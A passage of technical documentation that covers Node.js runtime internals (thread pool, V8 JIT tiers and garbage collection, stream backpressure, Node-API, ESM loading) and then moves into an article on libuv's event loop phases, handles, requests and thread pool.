| DNS resolution | `dns.resolve*()` methods | c-ares library (true async)                 |

The distinction between `dns.lookup()` (uses thread pool, honors `/etc/hosts`) and `dns.resolve*()` (uses c-ares, DNS protocol only) is a common source of confusion. Under load, `dns.lookup()` can saturate the thread pool and block file system operations.

Example: On a 16-core machine, 64 concurrent `fs.readFile` calls still execute only four at a time by default. Raising `UV_THREADPOOL_SIZE` reduces queueing but increases memory footprint and context-switch overhead. A common production value is 64–128 for I/O-heavy workloads.

**Edge case**: Setting `UV_THREADPOOL_SIZE` after any I/O operation has already occurred has no effect. The pool size is fixed at first use. This catches teams who try to configure it dynamically based on runtime conditions.

## V8 Execution and Garbage Collection in Node

V8 runs a four-tier Just-In-Time (JIT) pipeline, each tier trading compilation speed for generated code quality:

| Tier          | Role               | Trigger threshold | Speed vs quality                                                                                  |
| ------------- | ------------------ | ----------------- | ------------------------------------------------------------------------------------------------- |
| **Ignition**  | Interpreter        | First call        | Instant start, slowest execution                                                                  |
| **Sparkplug** | Baseline compiler  | ~8 invocations    | Compiles bytecode to machine code without optimization; no IR (Intermediate Representation)       |
| **Maglev**    | Mid-tier optimizer | ~500 invocations  | SSA-based CFG (Control Flow Graph); ~10× slower than Sparkplug, ~10× faster than TurboFan compile |
| **TurboFan**  | Advanced optimizer | ~6000 invocations | Aggressive speculative optimization; peak throughput                                              |

Sparkplug was introduced in V8 9.1 (Chrome 91). Maglev shipped in V8 11.7 (Chrome M117, December 2023) and is available in Node.js 22+.

The tiering thresholds reset if type feedback changes—for example, if a function previously saw only integers suddenly receives a string, it may deoptimize and re-tier. This explains why monomorphic call sites (single type) optimize better than polymorphic ones.

V8 uses generational Garbage Collection (GC). The young generation is intentionally small (up to ~16 MiB in the Orinoco design), so it fills quickly and triggers frequent scavenges; survivors are promoted to the old generation. The Orinoco parallel scavenger splits young-generation collection across multiple threads, reducing pause times to sub-millisecond on typical workloads.

**GC pause implications:**

- Young-generation scavenges are frequent but fast (~0.5–2 ms)
- Old-generation major GCs can pause 10–100+ ms on large heaps
- Incremental marking spreads old-generation work across frames, reducing peak pause

Example: Long-lived services with stable object shapes benefit from Maglev and TurboFan tier-up. Short-lived serverless functions (sub-100ms) spend most execution time in Ignition and Sparkplug, making startup latency and interpreter performance the dominant factors. For serverless, minimizing cold-start bytecode size matters more than peak TurboFan throughput.

## Buffers and Streams: Moving Bytes Without Blowing RAM

### Buffers

`Buffer` is a subclass of `Uint8Array`; Node.js APIs accept plain `Uint8Array` where buffers are supported. `Buffer.allocUnsafe()` returns uninitialized memory—this is a security consideration because the memory may contain sensitive data from previous allocations.

**Pool behavior:**

- `Buffer.poolSize` default: 8192 bytes (8 KiB)
- Pool used when allocation size < `Buffer.poolSize >>> 1` (4096 bytes)
- Methods using the pool: `Buffer.allocUnsafe()`, `Buffer.from(array)`, `Buffer.from(string)`, `Buffer.concat()`
- `Buffer.allocUnsafeSlow()` never uses the pool (allocates dedicated ArrayBuffer)

`process.memoryUsage().arrayBuffers` includes memory held by `Buffer` and `SharedArrayBuffer` objects, distinct from the V8 heap.

Example: If `arrayBuffers` grows by 200 MB while `heapUsed` is flat, you have large binary payloads or pooled buffers, not a JavaScript heap leak. Conversely, thousands of small `allocUnsafe` calls may reuse the same 8 KiB pool and not show up as memory growth until the pool is exhausted.

### Streams and backpressure

`Writable.write()` returns `false` when the internal buffer exceeds `highWaterMark`. This is a **hard signal** to stop writing until the `drain` event fires.

**Default `highWaterMark` values:**

- Binary streams: 16384 bytes (16 KiB)
- Object mode streams: 16 objects

`highWaterMark` is a threshold, not a hard limit. Specific stream implementations may enforce stricter limits, but the base classes do not prevent writes when the threshold is exceeded—they only signal via the return value.

```js title="write-with-drain.js" collapse={1-2,6-7}
const ok = writable.write(chunk)

if (!ok) {
  writable.once("drain", resume)
}
```

**Failure mode**: Ignoring `write() → false` forces Node to buffer indefinitely. Memory grows until the process hits heap limits and aborts, or the OS kills it. This is also a security vector: a slow or malicious client that never drains can cause unbounded memory growth (slowloris-style attack on memory).

Example: A 200 MB upload piped through `stream.pipeline()` stays bounded by `highWaterMark`. The same upload pushed via a tight `write()` loop can spike Resident Set Size (RSS) to gigabytes and trigger an OOM abort.

### Web Streams alignment

Node's Web Streams API implements the WHATWG Streams Standard and has been stable since Node.js 21.0.0 (Stability 2). Prior to v21, it was experimental and emitted runtime warnings.

Web Streams define a queuing strategy with a `highWaterMark` that can be any non-negative number, including `Infinity` (which disables backpressure). The semantics differ from Node streams: Web Streams use a "pull" model with explicit controller signaling rather than the Node "push + drain" model.

**Interop helpers:**

- `Readable.toWeb()` / `Writable.toWeb()` - convert Node streams to Web Streams
- `Readable.fromWeb()` / `Writable.fromWeb()` - convert Web Streams to Node streams

Example: When building a library shared between browser and Node, prefer Web Streams for the public API and convert internally with `toWeb()` / `fromWeb()`. This keeps backpressure semantics consistent across environments.

## Native Extensions and ABI Stability

Node-API (formerly N-API) is the only ABI-stable surface for native addons. It was introduced in Node.js 8.0 as experimental, marked stable in Node.js 8.12, and has been the recommended approach since.

**ABI stability guarantee:**

- Functions in `node_api.h` are ABI-stable across major Node.js versions
- Addons compiled against Node-API run on later Node.js versions without recompilation
- Node-API versions are additive: a higher version includes all previous version symbols

**Current Node-API versions (as of Node.js 22):**

| Node-API version | Minimum Node.js          |
| ---------------- | ------------------------ |
| 10               | 22.14.0, 23.6.0          |
| 9                | 18.17.0, 20.3.0          |
| 8                | 12.22.0, 14.17.0, 16.0.0 |

If `NAPI_VERSION` is not defined at compile time, it defaults to 8.

**What is NOT ABI-stable:**

- Node.js C++ APIs (`node.h`, `node_buffer.h`)
- libuv APIs (`uv.h`)
- V8 APIs (`v8.h`)

Using any of these headers directly requires rebuilding for each major Node.js version. V8's C++ API changes frequently; even minor V8 updates can break compilation.

Example: If you ship a native addon using only `node_api.h`, a single build runs across Node.js 16, 18, 20, 22, and 24. If you include `v8.h` for direct V8 access, expect to maintain separate builds per major version and handle API churn (e.g., V8's handle scope changes, isolate API updates).

## Module Loading and Package Scope

Within a package, the `package.json` `"type"` field defines how Node.js treats `.js` files:

| `"type"` value | `.js` treatment | Default                    |
| -------------- | --------------- | -------------------------- |
| `"module"`     | ES module       | No                         |
| `"commonjs"`   | CommonJS        | Yes (when `"type"` absent) |

File extensions override the `"type"` field: `.mjs` is always ES module, `.cjs` is always CommonJS.

### `require(esm)` support (Node.js 22.12+)

As of Node.js 22.12.0 (backported to 20.19.0), `require()` can load ES modules without flags. This eliminates the historical barrier where CommonJS code could not synchronously import ES modules.

**Limitation**: `require(esm)` only works for ES modules without top-level `await`. If the module uses top-level `await`, Node throws `ERR_REQUIRE_ASYNC_MODULE`.

```js title="require-esm.js" collapse={1-2,5-6}
// Node.js 22.12+ allows this
const esModule = require("./es-module.mjs")

console.log(esModule.default)
```

> **Prior to Node.js 22.12**: `require()` could not load ES modules at all. The only way to use ESM from CJS was dynamic `import()`, which returns a Promise and cannot be used synchronously. This forced many libraries to ship dual CJS/ESM builds.

Check `process.features.require_module` to verify if your runtime supports `require(esm)`. The feature can be disabled with `--no-experimental-require-module`.

Example: In a `"type": "module"` package, name legacy config files `*.cjs` to keep tooling that still uses `require()` working. In Node.js 22.12+, you can simplify by using `require()` to load `.mjs` files directly, avoiding the dual-build complexity.

## Observability and Failure Modes

### Event loop delay monitoring

`perf_hooks.monitorEventLoopDelay()` samples loop delays in nanoseconds and exposes them as a histogram. This is the primary tool for detecting event loop blocking.

```js title="event-loop-delay.js" collapse={1-3,6-7}
import { monitorEventLoopDelay } from "node:perf_hooks"

const h = monitorEventLoopDelay({ resolution: 20 })
h.enable()
```

**Interpreting delay metrics:**

| Metric         | Healthy value | Investigation path                                            |
| -------------- | ------------- | ------------------------------------------------------------- |
| p50 delay      | < 5ms         | Normal operation                                              |
| p99 delay      | < 50ms        | Occasional GC or sync work                                    |
| p99 delay      | > 100ms       | Synchronous CPU blocking, large GC, or thread pool starvation |
| min/max spread | < 10×         | Consistent behavior                                           |

### Memory breakdown

`process.memoryUsage()` returns:

- `heapUsed` / `heapTotal` - V8 JavaScript heap
- `external` - C++ objects bound to JavaScript (e.g., native addon memory)
- `arrayBuffers` - `Buffer`, `ArrayBuffer`, `SharedArrayBuffer` (outside V8 heap)
- `rss` - total resident set size (includes all of the above plus code, stacks, etc.)

Example: If `arrayBuffers` grows by 200 MB while `heapUsed` is flat, you have binary payloads or stream buffers accumulating, not a JavaScript object leak. Profile with `--heapsnapshot-near-heap-limit` to catch JavaScript leaks; use `/proc/[pid]/smaps` on Linux to diagnose native memory.

### Diagnostic failure patterns

| Symptom                           | Likely cause                        | Investigation                                                              |
| --------------------------------- | ----------------------------------- | -------------------------------------------------------------------------- |
| Low loop delay, high file latency | Thread pool saturation              | Check `UV_THREADPOOL_SIZE`, reduce concurrent `fs` calls                   |
| High loop delay spikes            | Synchronous CPU work                | Profile with `--cpu-prof`, look for JSON.parse/stringify on large payloads |
| Steady loop delay increase        | Recursive `nextTick`/Promise chains | Add `nextTick` depth limits, break long chains with `setImmediate`         |
| `arrayBuffers` growth             | Stream backpressure ignored         | Ensure `write() → false` pauses producers                                  |
| `heapUsed` growth                 | JavaScript object leak              | Heap snapshot comparison, look for detached DOM/closures                   |

**Edge case**: `process.nextTick()` recursion is invisible to `monitorEventLoopDelay()` because the delay is measured between loop iterations, not within microtask draining. Infinite `nextTick` chains freeze the process without spiking the delay histogram.

## Conclusion

Node.js performance lives at three boundaries: the V8 JIT/GC edge (tiering thresholds, pause times), the libuv event loop (phase ordering, microtask priority), and the thread pool (4-thread default, blocking semantics). Treat these boundaries as explicit design surfaces. Instrument them with `monitorEventLoopDelay()`, `process.memoryUsage()`, and thread pool sizing—or they surface as tail latency, memory spikes, and mysterious blocking under load.

## Appendix

### Prerequisites

- JavaScript execution model and event-driven programming
- OS I/O multiplexing primitives (epoll, kqueue, IOCP)
- Basic understanding of native addons and shared libraries

### Terminology

| Term                                    | Definition                                                                                  |
| --------------------------------------- | ------------------------------------------------------------------------------------------- |
| ABI (Application Binary Interface)      | Binary contract between compiled modules; determines if they can link without recompilation |
| API (Application Programming Interface) | Callable surface exposed to users; source-level contract                                    |
| CFG (Control Flow Graph)                | Compiler IR representing program control flow as a directed graph                           |
| GC (Garbage Collection)                 | Automatic memory reclamation                                                                |
| I/O (Input/Output)                      | Data movement to or from external devices                                                   |
| IR (Intermediate Representation)        | Compiler's internal data structure representing code between parsing and code generation    |
| JIT (Just-In-Time)                      | Compilation strategy that compiles code during execution rather than ahead of time          |
| OOM (Out of Memory)                     | Condition where memory allocation fails due to exhausted resources                          |
| RSS (Resident Set Size)                 | Memory currently resident in physical RAM for a process                                     |
| SSA (Static Single Assignment)          | IR form where each variable is assigned exactly once                                        |

### Summary

- Node.js layers V8, libuv, and C++ bindings; performance depends on understanding all three boundaries
- Event loop phases run in fixed order; `nextTick` > Promises > timers/poll/check
- Thread pool (default 4) handles fs, `dns.lookup()`, crypto; network I/O and `dns.resolve*()` bypass it
- V8 tiering (Ignition → Sparkplug → Maglev → TurboFan) explains warmup; GC pauses dominate tail latency on large heaps
- Stream backpressure (`write() → false`) must be respected or memory grows unbounded
- Node-API is the only ABI-stable addon interface; direct V8/libuv use requires rebuild per major
- `require(esm)` in Node.js 22.12+ simplifies ESM/CJS interop for synchronous modules

### References

**Specifications:**

- [ECMAScript Language Specification](https://tc39.es/ecma262/) - Job queues, Promise semantics
- [WHATWG Streams Standard](https://streams.spec.whatwg.org/) - Queuing strategy, `highWaterMark`

**Node.js Official Documentation:**

- [Node.js Event Loop, Timers, and nextTick](https://nodejs.org/en/learn/asynchronous-work/event-loop-timers-and-nexttick)
- [Node.js Don't Block the Event Loop](https://nodejs.org/en/learn/asynchronous-work/dont-block-the-event-loop) - Thread pool operations
- [Node.js Streams API](https://nodejs.org/api/stream.html) - `write()`, `drain`, backpressure
- [Node.js Backpressuring in Streams](https://nodejs.org/en/learn/modules/backpressuring-in-streams)
- [Node.js Buffer API](https://nodejs.org/api/buffer.html) - Pool behavior, `allocUnsafe`
- [Node.js Web Streams API](https://nodejs.org/api/webstreams.html)
- [Node.js Packages (ESM/CJS)](https://nodejs.org/api/packages.html)
- [Node.js ESM Documentation](https://nodejs.org/api/esm.html) - `require(esm)` support
- [Node.js Performance Hooks](https://nodejs.org/api/perf_hooks.html) - `monitorEventLoopDelay`
- [Node.js process API](https://nodejs.org/api/process.html) - `memoryUsage`, `nextTick`
- [Node-API Documentation](https://nodejs.org/api/n-api.html)
- [Node.js ABI Stability](https://nodejs.org/en/learn/modules/abi-stability)

**libuv Documentation:**

- [libuv Design Overview](https://docs.libuv.org/en/latest/design.html)
- [libuv Thread Pool](https://docs.libuv.org/en/v1.x/threadpool.html)

**V8 Engine (Core Maintainer):**

- [Sparkplug: V8's non-optimizing JavaScript compiler](https://v8.dev/blog/sparkplug)
- [Maglev: V8's fastest optimizing JIT](https://v8.dev/blog/maglev)
- [Orinoco: young generation garbage collection](https://v8.dev/blog/orinoco-parallel-scavenger)

**Core Maintainer Content:**

- [The Dangers of setImmediate (Platformatic/Matteo Collina)](https://blog.platformatic.dev/the-dangers-of-setimmediate) - libuv 1.45 timer changes
- [require(esm) in Node.js: From Experiment to Stability (Joyee Cheung)](https://joyeecheung.github.io/blog/2025/12/30/require-esm-in-node-js-from-experiment-to-stability/)

---

## libuv Internals: Event Loop and Async I/O

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/browser-runtime-internals/js-runtime-internals/libuv-event-loop-internals
**Category:** Browser & Runtime Internals / JavaScript Runtime Internals
**Description:** Explore libuv’s event loop architecture, asynchronous I/O capabilities, thread pool management, and how it enables Node.js’s non-blocking, event-driven programming model.

# libuv Internals: Event Loop and Async I/O

Explore libuv's event loop architecture, asynchronous I/O capabilities, thread pool management, and how it enables Node.js's non-blocking, event-driven programming model.

<figure>

![Libuv Design Overview from libuv.org](./libuv-architecture.webp)

<figcaption>Libuv architecture diagram showing the core components and their relationships in the cross-platform I/O library</figcaption>

</figure>

## Abstract

**libuv** (as of v1.51.0, April 2025) is a cross-platform asynchronous I/O library that provides Node.js with its event-driven, non-blocking architecture. The mental model centers on a **fundamental architectural dichotomy**:

| I/O Type     | Mechanism                          | Scalability                                             | Bottleneck            |
| ------------ | ---------------------------------- | ------------------------------------------------------- | --------------------- |
| **Network**  | Kernel polling (epoll/kqueue/IOCP) | Single thread handles thousands of connections          | Kernel limits, memory |
| **File/DNS** | Thread pool emulation              | Limited by `UV_THREADPOOL_SIZE` (default: 4, max: 1024) | Pool saturation       |

**Core abstractions form a triad:**

- **Event Loop** (`uv_loop_t`): Single-threaded orchestrator executing callbacks in 6 phases (timers → pending → idle/prepare → poll → check → close)
- **Handles** (`uv_handle_t`): Long-lived resources (sockets, timers, watchers) that keep the loop alive when active
- **Requests** (`uv_req_t`): One-shot operations carrying context from initiation to completion callback

**Platform abstraction unifies fundamentally different I/O models:**

- **Readiness-based** (Linux epoll, BSD kqueue): "Socket X is ready" → application performs I/O
- **Completion-based** (Windows IOCP): "Read complete, data in buffer" → application processes result

libuv presents a completion-style API to users but must emulate completion semantics on readiness-based systems.

**Recent evolution (v1.50.0+):** io_uring integration provides true completion-based file I/O on Linux 5.13+, with epoll batching always enabled and SQPOLL file operations opt-in via `UV_USE_IO_URING=1`. Network I/O remains single-threaded polling—io_uring network support is still RFC with no implementation timeline.

## What is libuv

libuv is a multi-platform support library with a focus on asynchronous I/O. Originally developed for Node.js, it now powers Luvit, Julia, uvloop, Neovim, and others. As of v1.51.0 (April 2025), the library targets C11 and supports Linux, macOS, BSD variants, Windows 10+, and various Unix-like systems.

### Features

- Full-featured **event loop** backed by epoll, kqueue, IOCP, event ports.
- Asynchronous TCP and UDP sockets
- Asynchronous DNS resolution
- Asynchronous file and file system operations
- File system events
- ANSI escape code controlled TTY
- IPC with socket sharing, using Unix domain sockets or named pipes (Windows)
- Child processes
- Thread pool
- Signal handling
- High resolution clock
- Threading and synchronization primitives

### Design Overview

The architecture of libuv is elegantly constructed upon three primary abstractions that work in concert to manage asynchronous operations: the event loop, handles, and requests. Understanding the distinct role of each is fundamental to mastering the library.

#### The Core Abstractions: A Triad of Loop, Handles, and Requests

**The Event Loop (uv_loop_t):** This is the heart of libuv. It is the central component that orchestrates all I/O operations and event notifications. Each event loop is designed to be tied to a single thread and is explicitly not thread-safe; any interaction with a loop or its associated objects from another thread must be done through specific, thread-safe mechanisms. While an application can run multiple event loops, each must operate in its own dedicated thread.

**Handles (uv_handle_t):** Handles represent long-lived objects that are capable of performing certain operations while they are "active". They are abstractions for resources that persist over time. For instance, a uv_tcp_t handle can represent a TCP server listening for connections, and a uv_timer_t handle can be configured to fire a callback at a future time. A crucial property of active handles is that they "reference" the event loop, keeping it alive. The loop will continue to run as long as there are active, referenced handles.

**Requests (uv_req_t):** In contrast to handles, requests represent short-lived, typically one-shot operations. They serve to preserve the context of an operation from its initiation to its completion callback. Requests can be performed on a handle, such as a uv_write_t request to write data to a uv_tcp_t stream. Alternatively, they can be standalone, such as a uv_getaddrinfo_t request for asynchronous DNS resolution, which runs directly on the loop without being tied to a persistent handle. Like active handles, active requests also keep the event loop from exiting.

#### The Two Modalities of Asynchronicity: Kernel Polling vs. Thread Pool Offloading

A deep analysis of libuv reveals a pragmatic dichotomy in its approach to asynchronicity, a design choice dictated not by preference but by the practical limitations of modern operating systems. The library employs two fundamentally different strategies to achieve its non-blocking behavior.

**For network I/O**, libuv achieves true asynchronicity at the kernel level. All network operations are performed on non-blocking sockets, and the main event loop thread directly polls these sockets for readiness using the most efficient native mechanism available on the host platform. This allows a single thread to manage thousands of concurrent network connections with minimal overhead, as the thread only wakes up when there is actual work to be done.

**In stark contrast**, operations such as file I/O and certain DNS lookups are handled through a different mechanism: a worker thread pool. This is not an arbitrary decision but a direct consequence of the lack of consistent, reliable, and truly asynchronous file I/O primitives across all major operating systems. Standard filesystem functions in C libraries and at the OS level are typically blocking. If libuv were to execute a blocking read() from a disk on the main event loop thread, the entire application would freeze until the I/O operation completed, defeating the purpose of the event-driven model.

To circumvent this, libuv simulates asynchronicity for these operations. When a function like uv_fs_read() is called, the request is not executed on the main thread. Instead, it is delegated to a queue serviced by a pool of worker threads. One of these worker threads performs the blocking filesystem call. Upon completion, the worker thread communicates the result back to the main event loop, which then executes the user's callback.

This architectural split has profound performance implications. For network-bound applications, performance scales with the efficiency of the kernel's polling mechanism, and a single thread can achieve massive concurrency. For disk-bound applications, performance is ultimately constrained by the throughput of the underlying disk subsystem and, more directly, by the size and potential contention of the libuv thread pool. An application performing many simultaneous, slow disk operations can saturate the thread pool, causing subsequent file I/O requests to be queued and delayed. Understanding this dichotomy between kernel-level asynchronicity for networks and thread-pool-emulated asynchronicity for files is paramount for any expert-level performance analysis and tuning of a libuv-based application.

### Handles

- Abstraction for (typically) long-lived resources
- Eg: TCP and UDP sockets, TTYs, timers, signals, child processes
- For working with event loop: idle, prepare, check, async handle types
- Active handles keep the event loop alive
  - Handles can be unref'd so they don't keep loop alive

Some examples:

- A prepare handle gets its callback called once every loop iteration when active.
- A TCP server handle that gets its connection callback called every time there is a new connection.

### Requests

- Abstraction for (typically) short-lived operations
- Eg: file I/O, socket connections, stream operations, getaddrinfo(), user defined work
- Some requests operates on handles, but not all
- Active requests keep the event loop alive (similar to handles)

### Thread Pool

- Used to move computations off of the main thread
- Work runs on worker thread
- Callback runs on the main thread
- Size controlled by `UV_THREADPOOL_SIZE` environment variable ([docs](https://docs.libuv.org/en/latest/threadpool.html))
  - defaults to 4
  - can be increased to max. of 1024 (increased from 128 in v1.30.0)
  - threads have 8 MB stack as of v1.45.0
  - threads named "libuv-worker" as of v1.50.0
- Only file I/O, getaddrinfo(), getnameinfo(), custom work runs on thread pool
- Pool is initialized lazily when first work is queued; cannot be resized at runtime

#### Architecture of the Global Worker Thread Pool

As established previously, the thread pool is libuv's solution for emulating asynchronicity for blocking system calls, most notably for filesystem operations. Its architecture has several key characteristics:

**Global and Shared:** The thread pool is a single, global resource that is shared across all event loops within a given process. This means that if an application creates multiple event loops in separate threads, they will all submit their blocking tasks to the same pool of worker threads. This design simplifies the library's internals but can become a point of contention in complex, multi-loop applications if not managed carefully.

**Configuration and Sizing:** The number of threads in the pool is configurable via the UV_THREADPOOL_SIZE environment variable, which must be set at application startup ([libuv threadpool docs](https://docs.libuv.org/en/latest/threadpool.html)). The default size is 4, a number chosen as a reasonable default for typical multi-core systems. The maximum size was increased from 128 to 1024 in libuv version 1.30.0, allowing for greater concurrency on systems with heavy I/O workloads.

**Performance Tuning:** Adjusting the thread pool size is a key performance tuning lever for applications that are heavily dependent on blocking operations. Increasing the number of threads can improve throughput by allowing more blocking tasks to execute in parallel. However, setting the size too high can be counterproductive, leading to excessive memory consumption (as each thread has its own stack, which [defaults to 8 MB as of v1.45.0](https://docs.libuv.org/en/latest/threadpool.html)) and increased CPU overhead from frequent context switching between a large number of threads. A common heuristic is to set the thread pool size to match the number of available CPU cores, which can be a good starting point for balancing concurrency and overhead.

> **Note on dynamic resizing:** A proposal for runtime thread pool resizing ([LEP-004](https://github.com/libuv/leps/blob/master/004-threadpool-handle.md)) was rejected in 2016. The libuv team determined that a pluggable API for threaded operations would better serve diverse use cases than exposing internal pool management. As of v1.51.0, the pool size remains fixed at startup.

#### The uv_queue_work Lifecycle: Task Delegation and Result Passing

The primary API for submitting custom, user-defined tasks to the thread pool is uv_queue_work(). This function orchestrates a clear and robust lifecycle for offloading a task and receiving its result.

**Queuing:** A developer calls uv_queue_work(), passing it four arguments: the event loop, a pointer to a uv_work_t request structure, a work_cb function pointer, and an after_work_cb function pointer. The uv_work_t request is initialized and placed onto a queue of pending work.

**Execution:** An available worker thread from the pool dequeues the uv_work_t request and executes the work_cb function. This callback runs entirely on the worker thread, completely separate from the main event loop thread. It is within this work_cb that the blocking or CPU-intensive computation is performed. The worker thread may block for as long as necessary without affecting the responsiveness of the event loop.

**Completion and Result Passing:** Once the work_cb function completes and returns, the worker thread signals to the event loop that the task is finished. libuv then schedules the after_work_cb function to be executed back on the main event loop thread in a future iteration of the loop. The uv_work_t request structure serves as the critical context carrier between the two threads. Its void\* data member can be used to store a pointer to any custom data structure, allowing the work_cb to attach its results, which can then be safely accessed by the after_work_cb in the main thread.

**Cancellation:** libuv also provides the uv_cancel() function, which can be used to attempt to cancel a work request that has been queued but has not yet been started by a worker thread. If cancellation is successful, the after_work_cb is invoked with a status code of UV_ECANCELED, allowing the application to perform necessary cleanup for the cancelled task.

#### Workloads Handled by the Thread Pool

The thread pool is specifically reserved for operations that are known to be blocking or computationally expensive. libuv internally uses the pool for the following categories of tasks:

**All Filesystem Operations:** Every function in the uv*fs*\* family, from uv_fs_open to uv_fs_read and uv_fs_stat, is executed on the thread pool. This is the cornerstone of libuv's asynchronous file I/O capabilities.

**DNS Functions:** The standard C library functions for DNS resolution, getaddrinfo and getnameinfo, can perform blocking network I/O. libuv therefore wraps these calls and executes them on the thread pool to avoid stalling the event loop.

**User-specified Code:** As described above, developers can offload any arbitrary blocking code to the thread pool using uv_queue_work().

**Node.js-specific tasks:** In the context of Node.js, the thread pool is also leveraged for certain CPU-intensive operations, such as cryptographic functions in the crypto module (e.g., pbkdf2, scrypt) and compression/decompression tasks in the zlib module.

It is critical to reiterate that network I/O (e.g., TCP, UDP operations) is not handled by the thread pool. These operations are managed directly on the main event loop thread using the OS's native non-blocking polling mechanisms.

## The Event Loop: A Phase-by-Phase Dissection

The libuv event loop is not a simple First-In-First-Out (FIFO) queue. It is a sophisticated, multi-phase process that executes different categories of callbacks in a specific, predictable order within each iteration, or "tick," of the loop ([libuv design docs](https://docs.libuv.org/en/v1.x/design.html)). A granular understanding of these phases is essential for comprehending the execution order of asynchronous operations and for debugging complex timing-related issues.

<figure>

![Async Operations Slide by Bert Belder at Node Interactive - 2016](./async-operations.jpg)

<figcaption>Async operations diagram showing how libuv handles non-blocking I/O operations through the event loop</figcaption>

</figure>

### The Anatomy of a Single Loop Iteration

Each full turn of the event loop, initiated by a call to uv_run(), proceeds through the following distinct stages:

**Phase 1: Update Loop Time & Run Timers**

The iteration begins by updating the loop's internal concept of "now." To minimize the overhead of frequent, expensive system calls to get the current time, libuv caches this timestamp at the start of the tick. This cached value is used for the duration of the iteration when checking timer expirations.

Next, the timers phase is executed. The timer queue, which is efficiently implemented as a min-heap data structure, is scanned. Callbacks for all active timers whose scheduled execution time is less than or equal to the cached "now" are executed sequentially.

**Phase 2: Pending Callbacks**

This phase executes I/O callbacks that were deferred from the previous loop iteration. While most I/O callbacks are executed immediately within the I/O polling phase, there are corner cases where libuv may defer a callback to the next tick to ensure correctness. This phase handles those deferred callbacks.

**Phase 3: Idle and Prepare Handles**

- **Idle Handles (uv_idle_t)**: Callbacks associated with active idle handles are executed. Despite the name, these are not "one-time when idle" callbacks; they are invoked on every single iteration of the event loop, making them suitable for very low-priority or continuous background tasks.

- **Prepare Handles (uv_prepare_t)**: Immediately following the idle handles, callbacks for active prepare handles are executed. These are designed to run just before the loop potentially blocks for I/O polling. They provide a hook for any work that must be done right before the loop waits for external events.

**Phase 4: Poll for I/O (The Blocking Phase)**

This is arguably the most critical phase and the only one where the event loop may block.

_Poll Timeout Calculation_: First, the loop calculates for how long it should block, or "poll," for I/O events. This timeout is dynamically determined based on the loop's state:

- The timeout is 0 if the loop is being stopped (via uv_stop()), if there are active idle or closing handles, or if the loop was run with UV_RUN_NOWAIT. A zero timeout means the poll will return immediately.
- If none of the above are true, the timeout is calculated as the duration until the next closest timer is due to expire.
- If there are no active timers, the timeout is set to infinity, meaning the loop will block indefinitely until an I/O event occurs.

_Blocking for I/O_: The loop then invokes the underlying OS polling mechanism (e.g., epoll_pwait on Linux, kevent on macOS, GetQueuedCompletionStatus on Windows) and blocks for the calculated duration. This is the point where the single event loop thread efficiently yields the CPU, consuming no resources while waiting for network packets to arrive or other I/O events to complete.

_I/O Callback Execution_: When the polling call returns (either due to an I/O event or a timeout), the callbacks for all I/O-related handles that have become ready are executed. This is where, for example, the callback for a uv_read_start() would be invoked when data arrives on a TCP socket.

**Phase 5: Check Handles (uv_check_t)**

Callbacks for active check handles are executed immediately after the I/O poll completes. They are the conceptual counterparts to prepare handles, providing a hook to run code immediately after the loop has handled I/O events. In the context of Node.js, callbacks scheduled with setImmediate() are processed in this phase ([Node.js event loop guide](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick)).

**Phase 6: Close Callbacks**

Finally, this phase executes the callbacks for any handles that were requested to be closed via uv_close(). This provides a safe, deterministic point for the user to deallocate memory associated with a handle, ensuring that no other part of the loop will attempt to access it.

It is important to note that after this phase, the loop does not immediately update its "now" time again. If a new timer becomes due while other callbacks in the current iteration are running, its callback will not be executed until the next full iteration of the event loop, starting again at Phase 1.

### Loop Lifecycle and State: Reference Counting and uv_run Modes

The event loop's execution is not infinite; its lifecycle is governed by a well-defined state machine based on the presence of active work.

**The "Alive" State**

The loop is considered "alive" and will continue to iterate as long as any of the following conditions are met:

- There are active and referenced handles.
- There are active requests (e.g., a pending uv_fs_read or uv_write).
- There are handles in the process of being closed (i.e., uv_close has been called, but the close callback has not yet executed).

This "alive" check is the fundamental mechanism that prevents a libuv-based program from exiting prematurely while asynchronous operations are still in flight.

**Reference Counting (uv_ref / uv_unref)**

By default, when a handle is started and becomes active, it is also "referenced". This means it contributes to the loop's "alive" count, preventing the loop from terminating. libuv provides two functions, uv_ref() and uv_unref(), to manually control this referencing behavior. These functions are idempotent; calling uv_ref() on an already-referenced handle has no effect, and likewise for uv_unref().

This reference counting system is more than a simple resource management tool; it is a powerful control flow primitive. A common and sophisticated pattern involves creating a handle for a background task, such as a periodic heartbeat timer, and then immediately calling uv_unref() on it. This makes the timer active but unreferenced. The timer will continue to fire at its specified interval, but it will not, by itself, keep the event loop alive. The program will exit cleanly once all other referenced work is complete, without requiring the developer to explicitly track and stop every background timer or handle. This is essential for writing robust daemons and services that can perform background maintenance while still allowing for graceful termination when their primary tasks are finished.

**uv_run Modes**

The precise behavior of the event loop's execution can be fine-tuned by the mode passed to the uv_run() function.

- **UV_RUN_DEFAULT**: This is the standard mode. The event loop runs continuously until there are no more active and referenced handles or requests. It will only stop when the loop is no longer "alive".

- **UV_RUN_ONCE**: In this mode, the loop will poll for I/O once. If there are pending events, it will execute their callbacks and then return. If there are no pending events, it will block until at least one event occurs, process it, and then return. It returns a non-zero value if there is still more work to be done, indicating that uv_run(loop, UV_RUN_ONCE) should be called again in the future.

- **UV_RUN_NOWAIT**: This mode also polls for I/O once, but it will not block if there are no pending events. It processes any immediately available events and then returns. This mode is particularly useful for integrating a libuv event loop into an external, third-party event loop (e.g., in a GUI application), allowing a single thread to "tick" both loops without one blocking the other.

## The Platform Abstraction Layer: A Comparative Analysis of I/O Backends

The most critical function of libuv is to provide a unified, high-level API that abstracts the disparate and complex I/O notification systems of major operating systems. This allows developers to write portable, high-performance asynchronous applications without needing to manage platform-specific code for epoll, kqueue, or IOCP.

### Readiness vs. Completion: The Fundamental Dichotomy

To appreciate the architectural challenge that libuv solves, it is essential to understand the two fundamental models of asynchronous I/O notification prevalent in modern operating systems: readiness-based and completion-based.

**Readiness-Based (Reactor Pattern):** In this model, the application registers interest in certain events on a resource (e.g., a socket) with the operating system. The OS then notifies the application when that resource is ready to perform a non-blocking operation. For example, the OS might signal, "Socket X is now readable." It is then the application's responsibility to make the actual read() system call to retrieve the data. The epoll interface on Linux and the kqueue interface on BSD/macOS are primarily readiness-based systems.

